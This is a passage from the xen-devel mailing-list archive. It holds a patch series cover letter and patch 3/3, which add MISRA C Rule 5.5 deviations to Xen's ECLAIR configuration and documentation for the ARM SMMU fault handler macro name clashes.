owed
+       because the macro is a typed convenience wrapper around the size-ba=
sed
+       allocation function.
+
    * - `Rule 5.6 <https://gitlab.com/MISRA/MISRA-C/MISRA-C-2012/Example-Su=
ite/-/blob/master/R_05_06.c>`_
      - Required
      - A typedef name shall be a unique identifier
--=20
2.43.0


From xen-devel-bounces@lists.xenproject.org Sun Jul 12 14:05:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 14:05:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361067.1613559 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiunZ-00012C-Fh; Sun, 12 Jul 2026 14:04:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361067.1613559; Sun, 12 Jul 2026 14:04:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiunZ-000125-D3; Sun, 12 Jul 2026 14:04:49 +0000
Received: by outflank-mailman (input) for mailman id 1361067;
 Sun, 12 Jul 2026 14:04:47 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1wiunX-00011n-9l
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 14:04:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiunW-004b44-Mz
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 16:04:46 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a539eb8-e002-0a2a0a5209dd-0a2a4506b1e8-36
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 16:04:46 +0200
Received: from [52.101.83.95]
 (helo=GVXPR05CU001.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a539efe-0835-0a2a45060019-3465535f2cc0-3
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 16:04:46 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by AS2PR03MB9540.eurprd03.prod.outlook.com (2603:10a6:20b:597::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.23; Sun, 12 Jul
 2026 14:04:43 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.019; Sun, 12 Jul 2026
 14:04:43 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ZmwDZ9hJcbkBC7GY5NrOgTg5vwEcBF6UMLmFi6ffJvOZuayh1RvQfKp7WVyjOyiittXV5WlDlumNIbh2tknmJo9R/G0iQ5bRWOePX3TA59W4B7NMH7xSfzVFU1N/HyMvZ6daxRezXx4BPlqAoUbiFyKjfVKNoYtZXe+17CCmq+snWgCAoUi3FfNZ5Rug2Zhb48ID//r3sSdYHln69jBALbG1OBGGqYIRSRt/OMXQEnaximFr0pI6qfEhHwXA+Au6JsVdFhmXucCU6CcWi0rKFl9OXGhyK06E+8dHl9dk7VF3x70YL07//dkVl6QNmoI1dG/3ikMjanGHVWWmMYWA7g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=heZ+hCwBOHlPBsStACIkcTth7xnn3if3PJaDgI2tfKc=;
 b=YhHWBji/u2kgODP8P9V+A8AUQOyRd7uyRas6hW/Ts0E4y+EvuvsxW1AOj6F2t4/wPcKYIZZP9mkYZBkKf7paWnpNnyIhn0lcJRqOR3wnnlvgKb9d6Ft8jRuOJTDwbAgvJPpYyCREFJefOoZPZUB+cRNVTuNv0U0DWWrRLa/NVhb1yz7jQbI+kKhzS5pkbKsGr3OUtp7+xB6lIcxyhdXFdPIJZbz6Ss+Q4FAij1ld8Ic+xHeaznTxIwipWylF6JL25COJRXfpJDiA98Kbu/rpENEr7yohil/PwuXqVIMA2NXn+w0Vs/k8O/Osls5bnKADOZCNPZGd3T4nVg7ZWZBHNA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=heZ+hCwBOHlPBsStACIkcTth7xnn3if3PJaDgI2tfKc=;
 b=IT4nRGokOE7KGyXyHLLyt7B15RBhoC6KUBgGsmqxDveeyYVqLv/o1lhWe0byl6mTGWLGs9LkXPl38KejclEnY4DlLSIP0HjTiM/iyB48FEc0m8b8Oufmto/I5YmZU7JvSqr1d1/bcEIOJ7G8UYPa7atS82jZMKfbsCoq7O/ef/txNqrJ6+2IW2HFt8ZVw5CyU518/D+0pJrQ/hyda1RNyoqNEvWQoEtUQLJsLjUIgjLA8lsNw/0/gTHgpBTUxM6DbgihDHfRAe+3cHO172CJ4JpFgUVJtsnsXadyCEgWlS2hugl4REO9SMsUP2LUt4c/pI+xjOEyWWXWLJvBNg1DqQ==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>, Nicola Vetrini
	<nicola.vetrini@bugseng.com>, Doug Goldstein <cardoe@cardoe.com>, Stefano
 Stabellini <sstabellini@kernel.org>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>, Julien
 Grall <julien@xen.org>, =?iso-8859-1?Q?Roger_Pau_Monn=E9?=
	<roger.pau@citrix.com>
Subject: [PATCH v2 0/3] misra: add Rule 5.5 deviations for macro clashes 
Thread-Topic: [PATCH v2 0/3] misra: add Rule 5.5 deviations for macro clashes 
Thread-Index: AQHdEgdjyN2FQ/IpqUeJ8f44PkQn7w==
Date: Sun, 12 Jul 2026 14:04:43 +0000
Message-ID: <cover.1783864426.git.dmytro_prokopchuk1@epam.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|AS2PR03MB9540:EE_
x-ms-office365-filtering-correlation-id: 1718ce46-401c-40f8-c407-08dee01e860b
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|7416014|376014|366016|42112799006|23010399003|1800799024|38070700021|56012099006|11063799006|18002099003;
x-microsoft-antispam-message-info:
 kwLqzEN+zm9lUU6hsJjm5tgRjs3Fe937WOvStp5EVey5RnOWtPNLoxWExUWp6MmdVnOZB3xcj3oSfRoYvVypHokF0Phgl/5f8+QBboBSr40HWfBdh24bgydsX7YkOxgmyGv2TyMwUgGJToB6j5yyG1CR2R2c3tYL9b9eX4dSXDlf/WqGlzB/b0L4WAB4UfWTNTIteI990h8r0N+L7HPl4fVBUCDuPVYGyXv1kpPyNrRmQuBM4z/aBDLHWF+ejwfPJFhbHgOn3QrlvfMSq2DM5PwdyOIKkiJ5ijw63Girkm649QyzTRJEzM0H1uxLYo8vE9Pj4uZGx0ahmPxfBjOFU6Ir9kAzPWE4Yft/+Q+72yYqT763nM2oFLz6A8NYS+0DWstSbJ8JFhEFZ4/nIwByV86UncbAcwcGkLePeavzEieZQq60AXegoGXUxMon71DMyUhwVAJDt2SEiNsn79Uboe6deasZ1ZR3PHJYDE3Y12F/y+eH80c2/Tooh9YYhQXIb6+1uOa9r7k8VBi8kb0QOA3dazaiLqQiWAOA+37jNNiEd0oJTvG36XYHvZtc80x/X0fAi4RcisLS7VAihunT2JKf7tb6A9949aJOGh+cfBlVVMNVP4IRWsTPbcSNI8Upr46P9ZWM0ipRKFfhPFwYMBnbnJ18ClBNVD2AW1KQJDhNouBLAR1trDXGpplAZUY/bMNy1t08tjwXp88zEgQExt8o0vfQ7VVL/f2Y7OW2LnU=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(7416014)(376014)(366016)(42112799006)(23010399003)(1800799024)(38070700021)(56012099006)(11063799006)(18002099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?spKWCOtdRCyi8DHhp8eUXNBMvkp+X/Asuw6e3XqmpuB8Gj/FqTGIVKgoaV?=
 =?iso-8859-1?Q?8ya6Y4JdX0r0x2hkhfIVpz4pxSU7Q1qVHvsHebcfe/Qkg0gTsy94kZ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BWxmVcndC6GGcuvmbICbPozVwGZqc=3D?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 1718ce46-401c-40f8-c407-08dee01e860b
X-MS-Exchange-CrossTenant-originalarrivaltime: 12 Jul 2026 14:04:43.5256
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: wMoZplCEAUNpyVP9zXCbQ6yC0HqF6gmIjZoWhRHXjj40epNK/HWjLAW7VrUd3bliLc0GeCopCZ5LEV0J0Dg7R7WHqy2Hid1w9m/5iHO/ASI=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS2PR03MB9540
X-purgate-ID: tlsNG-16d1c6/1783865086-FAD54617-D7E8FDAD/0/0
X-purgate-type: clean
X-purgate-size: 752

This series adds deviations for function/macro name clashes where
the macro is used as a wrapper around an existing function name.

Changes in v2:
- remove much details from deviations.ecl file
- use word "deliberate" in descriptions
- append "()" to function to avoid mixing style

Dmytro Prokopchuk (3):
  misra: deviate MISRA C Rule 5.5 for 'hypfs_alloc_dyndata()'
  misra: deviate MISRA C Rule 5.5 for 'request_irq()'
  misra: deviate MISRA C Rule 5.5 for ARM SMMU fault handlers

 .../eclair_analysis/ECLAIR/deviations.ecl     | 12 ++++++++++
 docs/misra/deviations.rst                     | 24 +++++++++++++++++++
 docs/misra/rules.rst                          | 12 ++++++++++
 3 files changed, 48 insertions(+)

--=20
2.43.0


From xen-devel-bounces@lists.xenproject.org Sun Jul 12 14:05:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 14:05:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361070.1613582 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiunb-0001X8-8b; Sun, 12 Jul 2026 14:04:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361070.1613582; Sun, 12 Jul 2026 14:04:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiunb-0001Ve-4q; Sun, 12 Jul 2026 14:04:51 +0000
Received: by outflank-mailman (input) for mailman id 1361070;
 Sun, 12 Jul 2026 14:04:50 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1wiuna-0001Aj-2o
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 14:04:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiunZ-004b44-Fg
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 16:04:49 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a539eb8-e002-0a2a0a5209dd-0a2a4506b1e8-40
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 16:04:49 +0200
Received: from [52.101.83.87]
 (helo=GVXPR05CU001.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a539f01-0835-0a2a45060019-34655357a96b-3
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 16:04:49 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by AS2PR03MB9540.eurprd03.prod.outlook.com (2603:10a6:20b:597::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.23; Sun, 12 Jul
 2026 14:04:47 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.019; Sun, 12 Jul 2026
 14:04:47 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Argt4KlYvFuS5Fpp9L7S9lLQSm0tlyZsXPtz47CbOvhBAvWQoqs1DEu+gJYt591WvPqPL1/0gmLyQCLDuWahDZx3A2N7NaJwkHvcJmDnMFnKIt9YEB11FtOB1/e/SYD36hZ2BTWU/cgeGkhk5iHV9oj8KZcUfH0nuo1o0roahcBk9ahnORsE7YbefcphdIw6RV9ClEVrvLudtVFAN/2HKWm6O19tAeWmSeV55y+gp23sWDSdYdVtUfb8gu4ppPFFcvfdatrq+zbIadwqnLwOrJnLPR1sauhULalSU/0OKD55g+BfsLwvKMeH3DP1d/TrUBn2qvfhV14t5VNvJ1kkyw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=cgnoE2/vbR0U54fdtVsbfuzS4jDVloiK5WrMbSsnuKc=;
 b=qWIviSGw+m495pin0I81GfY1SIqFwv/vXSdU0kUF14uzvJiZbEj0/8J6BWX8cD/ts/ov4xWvhAlB7RNKDKPHw6WF/iOPFqzVO996ygI/IJPo87Nlm78uEUJbopThJnc4KwZWpReiefBPbKzPRnYlsj+V5Qo7zmUyE4LBel1oDH3GGh6fpy83ks8ax6NgqXJnUGw2sTln/OiwS2nJWCRDEyrJ97YyuENTtTrPiUkUN0IQYX+3pzy2/p9XQ/l7WmIrBdV8nicLu9akSr4bk7A5ml3tEE6epSDzTMNV0B8jhqOkh3ilo3CYrBp745XuuAVS7nka1OWKTj7Q6OGcXvGXJQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=cgnoE2/vbR0U54fdtVsbfuzS4jDVloiK5WrMbSsnuKc=;
 b=PSGhMnzsb0zDaAEEX7fMVkDwMCD3HESYPpD7H5hKVtTyUBU9j749K/hx/Eb1GwV7CZizfS5b9jlDV79b+5eLxrhy8GMVrVH/u7PgqriVHvpxUoa0fROHP7yd929nNRCM5wFNHhRsMc/o4LmAAPOQH5GnPKofwskuMU5Lod3c6Nfjxz/mWpMZA5JpMJsWYficOCxht7OWOcK2qcteJ/Hei0ntO6KR/vZOQ/vw2cmxoJmBrsT63LMUIVO5Y0PQBYoQnxXhVyGGl/b5c+L2gXbhIped22u6CgXTMb0wMRDJoGDO4zM7gw85XwYNfx1G/lUhpxb1xxHpBCFL/kgF7Rl8LQ==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>, Nicola Vetrini
	<nicola.vetrini@bugseng.com>, Doug Goldstein <cardoe@cardoe.com>, Stefano
 Stabellini <sstabellini@kernel.org>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>, Julien
 Grall <julien@xen.org>, =?iso-8859-1?Q?Roger_Pau_Monn=E9?=
	<roger.pau@citrix.com>
Subject: [PATCH v2 3/3] misra: deviate MISRA C Rule 5.5 for ARM SMMU fault
 handlers
Thread-Topic: [PATCH v2 3/3] misra: deviate MISRA C Rule 5.5 for ARM SMMU
 fault handlers
Thread-Index: AQHdEgdlAM1Q0XRp9UaSkflqa1nGRg==
Date: Sun, 12 Jul 2026 14:04:47 +0000
Message-ID:
 <242bdedf03e5b0b3e9db37c4f9d2160cadfabb3e.1783864426.git.dmytro_prokopchuk1@epam.com>
References: <cover.1783864426.git.dmytro_prokopchuk1@epam.com>
In-Reply-To: <cover.1783864426.git.dmytro_prokopchuk1@epam.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|AS2PR03MB9540:EE_
x-ms-office365-filtering-correlation-id: 079ba1cc-4fde-44ec-b3d9-08dee01e884f
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|7416014|376014|366016|42112799006|23010399003|1800799024|38070700021|6133799003|56012099006|11063799006|18002099003|22082099003;
x-microsoft-antispam-message-info:
 e1nff4OI7ASCkNLPENdwkT50b+7fVGjEty0y+DZT8tVEK7tT05cipSuY5dI4k/OkftxGNhWA7P+6MzNWznjClIAoIJc2VqszW191aySe03NS6yA2yEvxF8vCi4qEfzhAITf4uwNId7ZC8E5WmtfWVPeCvuQ+qHFK0W0wX++/bth+4U8RA7yotlB9+Zve/TN8Md0Ex7J5sPw994tuJONwXJvFroQGgcDYCyhbaXOHKQufKK6Zo8NjQm4vW+i34mcebS3PLDJbtGo1LZ8M5vo+gRfN+PRt7lCKn08MiYxe87kLms5ryTBT/+ZloFTZo2hqpA4tSgl7jGPdE0tmm/O5dzmqc5om+kg3FVJvAi5BXS/2nYvZRlbC+Wy0FRq4EphX5thpHvnQJMw/Mml6xZAPs64UVguv/BMoSFRBCbjRyeVgbWY33lKfWPlrk6kCJ9ZQjjhAOHNncJLbAYJ0A25UyGCDzw6+ul25axPtAX1Y6+7fUI7Q3oaFzID8N+r6cEDHPxSmhFLJOtp0FX8F3f+RyzDbSSq5In7/OztRBE3SO3BA/d+JqH2FDtIRUXACxUr3WSW0XoZE7lSIUbK4fTK9jctsg+J+xh7zZtdi88Xd76C/OedXksp1hu5+1bSoIr/R+TPeplb2nomAlBS5Iw/6HSUWWBN50Z8Rm5e31z96fNTIxjf4W8GYxakodRnDJbJlmfSqoNpfW/UgnpXZ0LuEBNzTdMAuj//dbACHtREb1U0=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(7416014)(376014)(366016)(42112799006)(23010399003)(1800799024)(38070700021)(6133799003)(56012099006)(11063799006)(18002099003)(22082099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?w6iWP+uSCubn1ICZuK9HzHhZouTN+UOa7Z5IigasmJiluT/+wrIiD/MK1r?=
 =?iso-8859-1?Q?f1ixBsSmkRFlhdc0mjxpdiDUqpbydUXR+wQ+gYdrxt5XiLRQ2vP5Q9D9Qn?=
 =?iso-8859-1?Q?/pUTSAfWb5WFPZczZlQqGX8XUXN07rrl12hCCMf2hgyLSpJDx9+zBy8KIj?=
 =?iso-8859-1?Q?zfiKrwI0s/0cn6xfp09LWGV7dNeCAlYp0uAQFZFk23/48xY9hsYMOQ2NJ5?=
 =?iso-8859-1?Q?QpzT+yqxPJaQZwqlcRI+3ruVQVYlw+Q7GQPnjEcO0BoQxmc9GWQrleIi9b?=
 =?iso-8859-1?Q?SA+W1lwcLocVEojG6je5XZevcF84I6zRsI2SxZeyi1up/lrbP16IINkPYC?=
 =?iso-8859-1?Q?ICJQ7AIhCAFrl1aN112Qjli5hMweF0tXAMZ0SF8EtfwS9wFZL/ukUJnQGT?=
 =?iso-8859-1?Q?P+uPFdc7aOpimeEq+12JbiKhMROwEIjjjtqsubM9EWAJnYoW0dRHy9AZ2N?=
 =?iso-8859-1?Q?HVkxyDdXNwa/9ONULHyjor77hyM/aEEz5vtwkx+eX6I1BH3GfRrgpcT9Tz?=
 =?iso-8859-1?Q?zi/E07W48nd4iabtMYu/216CRj8JFCEy+RJp5JNvW8cUy81wMdutHGyDeX?=
 =?iso-8859-1?Q?aRgkgKcYkV3ohSltbdDdvr0msLIH6OwaXhTu+8AAgbdp0NiOOdrvDaUBF9?=
 =?iso-8859-1?Q?FsFoRPMqBnxPvpnJevGIyGaE0q1NBCzoX8cGE4qi8VigsfBWEPb21b8VWg?=
 =?iso-8859-1?Q?YOONDGFLZrRfXcrAdUpTu2u+SIpYjopEsLdOUXcj18NjPw8IT4rfMUGXSc?=
 =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j?=
 =?iso-8859-1?Q?FhsHqxex3KTe90fT3TJ1vO1V84urYLX28zbjLdaDi6h51yFzeg+Ipw87VC?=
 =?iso-8859-1?Q?4rYUQnasxxQXJpXx+08eiNofk9xAktu5lbM0bkgxLfIYMuSBWGMM0nzWWV?=
 =?iso-8859-1?Q?G7HEKcF+YUWJ0+V2h9oc30uJ9mGWEtpXSRL3tvByHQQhezbcW+iw79lR5G?=
 =?iso-8859-1?Q?8uftDcGTluY/8vqp+vrCoHiBD9HaWSY=3D?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 079ba1cc-4fde-44ec-b3d9-08dee01e884f
X-MS-Exchange-CrossTenant-originalarrivaltime: 12 Jul 2026 14:04:47.3610
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: lDmpr+4+3Jps8VMYzQJpCfY6lnIyfLQgme67ulyhwFY4X12db6c2flf7tpwNKC+butHo316+Af+GP2gkvic47bg8M9pmThLGDa1xgbPbs9U=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS2PR03MB9540
X-purgate-ID: tlsNG-16d1c6/1783865089-F8B43617-738F6DB8/0/0
X-purgate-type: clean
X-purgate-size: 3550

MISRA C Rule 5.5 states: "Identifiers shall be distinct from macro
names".

Update ECLAIR configuration to deviate identifier and macro name
clashes by specifying the macros that should be ignored.
This includes 'arm_smmu_global_fault()' and 'arm_smmu_context_fault()',
where the original ARM SMMU handler returns irqreturn_t, while the
same-named macro redirects later uses to a Xen wrapper with the
void interrupt-handler signature expected by Xen 'request_irq()'.

Update deviations.rst and rules.rst accordingly.

Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
---
 automation/eclair_analysis/ECLAIR/deviations.ecl | 4 ++++
 docs/misra/deviations.rst                        | 8 ++++++++
 docs/misra/rules.rst                             | 4 ++++
 3 files changed, 16 insertions(+)

diff --git a/automation/eclair_analysis/ECLAIR/deviations.ecl b/automation/=
eclair_analysis/ECLAIR/deviations.ecl
index f7ffd78a36..97f1a91afb 100644
--- a/automation/eclair_analysis/ECLAIR/deviations.ecl
+++ b/automation/eclair_analysis/ECLAIR/deviations.ecl
@@ -140,6 +140,10 @@ These macros address differences in argument count dur=
ing compile-time, effectiv
 -config=3DMC3A2.R5.5,ignored_macros+=3D"name(request_irq)&&loc(file(^xen/d=
rivers/passthrough/arm/smmu\\.c$))"
 -doc_end
=20
+-doc_begin=3D"Clashes between ARM SMMU fault handler functions and macro n=
ames in 'xen/drivers/passthrough/arm/smmu.c' are deliberate."
+-config=3DMC3A2.R5.5,ignored_macros+=3D"name(arm_smmu_global_fault||arm_sm=
mu_context_fault)&&loc(file(^xen/drivers/passthrough/arm/smmu\\.c$))"
+-doc_end
+
 -doc_begin=3D"The type \"ret_t\" is deliberately defined multiple times,
 depending on the guest."
 -config=3DMC3A2.R5.6,reports+=3D{deliberate,"any_area(any_loc(text(^.*ret_=
t.*$)))"}
diff --git a/docs/misra/deviations.rst b/docs/misra/deviations.rst
index 3eb9912c45..0404e6cc7f 100644
--- a/docs/misra/deviations.rst
+++ b/docs/misra/deviations.rst
@@ -192,6 +192,14 @@ Deviations related to MISRA C:2012 Rules:
        reordering the handler and flags arguments.
      - ECLAIR has been configured to ignore this macro.
=20
+   * - R5.5
+     - Clashes between the ARM SMMU fault handler 'arm_smmu_global_fault()=
',
+       'arm_smmu_context_fault()' functions and macro names are deliberate=
.
+       The original ARM SMMU handler returns irqreturn_t, while the macro
+       redirects later uses to a Xen wrapper with the void interrupt-handl=
er
+       signature expected by Xen 'request_irq()'.
+     - ECLAIR has been configured to ignore these macros.
+
    * - R5.6
      - The type ret_t is deliberately defined multiple times depending on =
the
        type of guest to service.
diff --git a/docs/misra/rules.rst b/docs/misra/rules.rst
index 40aff97a07..dcfe4d5f30 100644
--- a/docs/misra/rules.rst
+++ b/docs/misra/rules.rst
@@ -230,6 +230,10 @@ maintainers if you want to suggest a change.
        the macro is a local compatibility wrapper that adapts ARM SMMU dri=
ver
        call to Xen's request_irq() argument order.
=20
+       Clashes between ARM SMMU fault handler functions and macro names ar=
e
+       allowed because the macros redirect ARM SMMU driver uses to a Xen i=
nterrupt
+       wrapper with the handler signature expected by request_irq().
+
